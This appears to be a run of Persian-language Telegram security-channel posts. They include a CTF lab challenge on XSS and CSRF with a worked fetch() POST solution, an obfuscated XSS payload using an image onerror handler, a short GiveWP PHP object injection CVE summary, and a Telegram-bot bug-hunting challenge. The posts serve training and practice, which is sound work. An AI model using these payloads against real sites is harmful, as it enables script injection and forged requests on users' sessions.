فردا CVE چی میخواید براتون exploit کنم ؟؟ 😂 چیز سخت نگید امتحان دارم

🆘 رفقا اینو میتونید حل کنید:
https://lab.jsecurity.ir/lab2/

راه حل های خلاقانه تون رو میخوام بزارم توی هفته نامه Jsecurity .

داستانش اینه که CSRF توی کلوژر گیرکرده، و شما بایستی اونو بدست بیارید و درخواست بزنید به /update و فلگ رو توی صفحه چاپ کنید.

یه پارامتر q داره که به xss آسیب پذیره.

اپدیت: برای دیدن فلگ هم میتونید پاسخ اینو ببینید

await fetch("https://lab.jsecurity.ir/lab2/update", {
    "credentials": "include",
    "headers": {
        "Content-Type": "application/x-www-form-urlencoded",
    },
    "body": "_csrf=5yuyw85r-R_--IWCQfIFOE68dIE6QWdhrUWg&data=pwned",
    "method": "POST",
    "mode": "cors"
});

Another XSS Payload:

{document.body.setAttribute('contenteditable',true)}document.execCommand('insert'+'HTML',false,'<img/'+'src/'+'o'+'nerror=a'+'lert('+'/catfather/)>')

https://x.com/hoseinshurabi/status/1960794897465926038

NTLMv1: NTLMv1 is removed starting in Windows 11, version 24H2 and Windows Server 2025.
https://learn.microsoft.com/en-us/windows/whats-new/whats-new-windows-11-version-24h2#features-removed-in-windows-11-version-24h2

کلاه برداری خالص

🎯 CVE-2024-12877 Review – GiveWP goes unserialize()… Hello RCE! ⚡️🔥
Hello hackers, bug hunters, and curious minds! Welcome to Episode 66 of the GO-TO CVE series! 🎙💻

This week we’re cracking open a classic PHP Object Injection inside GiveWP, one of the most popular WordPress donation plugins. 🕳🐘

🔹 Week: 66
🔹 CVE: CVE-2024-12877
🔹 Type: PHP Object Injection
🔹 Target: GiveWP (WordPress Plugin)

📌 What’s the story?
GiveWP uses PHP’s notorious unserialize() on user input. That means attackers can drop in a crafted serialized payload, and PHP will happily invoke magic methods like __wakeup() — executing attacker-controlled logic without warning.

👾 What’s the impact?

Remote Code Execution (RCE) 🚀
Sensitive data theft (donors, users, configs) 🕵️‍♂️
Privilege escalation across WordPress 🔑
Full server compromise ☠️

💡 Lesson learned: Regex checks won’t save you. The real fix? Never unserialize untrusted input.

📬 Stay tuned with GO-TO CVE for a fresh bug every week:
👉 https://news.1rj.ru/str/GOTOCVE

#week_66

بریم دیگه الکترو مغناطیس بخونیم که وضعیت خرابه 😂

https://news.1rj.ru/str/CVEdb چنل دوم ما رو دنبال کنید عزیزان اگه دوست دارید اپیزود هارو یک جا ببنید

این خیلی قشنگه

🕹 یک مینی‌چالش جدید داریم!

این مدت احتمالاً دیدین که بعضی دیتاهای یه ربات تلگرام لیک شده.
اما این یعنی تلگرام آسیب‌پذیره؟
(فکررررررر نکنمممم 😏)

برای همین یک شبیه‌سازی ساختیم تا خودتون ببینید دیتا‌هایی که از ربات‌ها لیک می‌شن به چه صورت به دست میان.

یک ربات مخصوص رای‌گیری ساختیم:

@HML_Simulation_BOT

تو این ربات سه شخصیت برای رأی‌گیری آماده هستن:

🦆 DuckMen
🐺 Wolfy
👴 Just a random old man

می‌تونید هر چند بار که بخواید رأی بدید.
ولی این همه ماجرا نیست…

⚠️ یه آسیب‌پذیری توی سیستم رأی‌گیری قایم شده که می‌تونه لیست ادمین‌ها رو لو می‌ده.
ما نمی‌دونیم دقیقاً چجوری ادمین‌هامون لو میرن، اما اولین نفری که آسیب‌پذیری رو پیدا کنه و گزارش بده، رایت‌آپش به اسم خودش داخل سایت و کانال منتشر .

@HackMeLocal

#BugBounty #TelegramBot #Vulnrability #CTF #HackMeLocal

کاش کانال های ایرانی حداقل از همدیگه حمایت میکردن ( چند تا عزیزان همیشه حمایت میکنن دمشون گرم ) سر همینه فعالیت خارجی رو بیشتر دوست دارم چون واقعا برای محتوا ارزش میزارن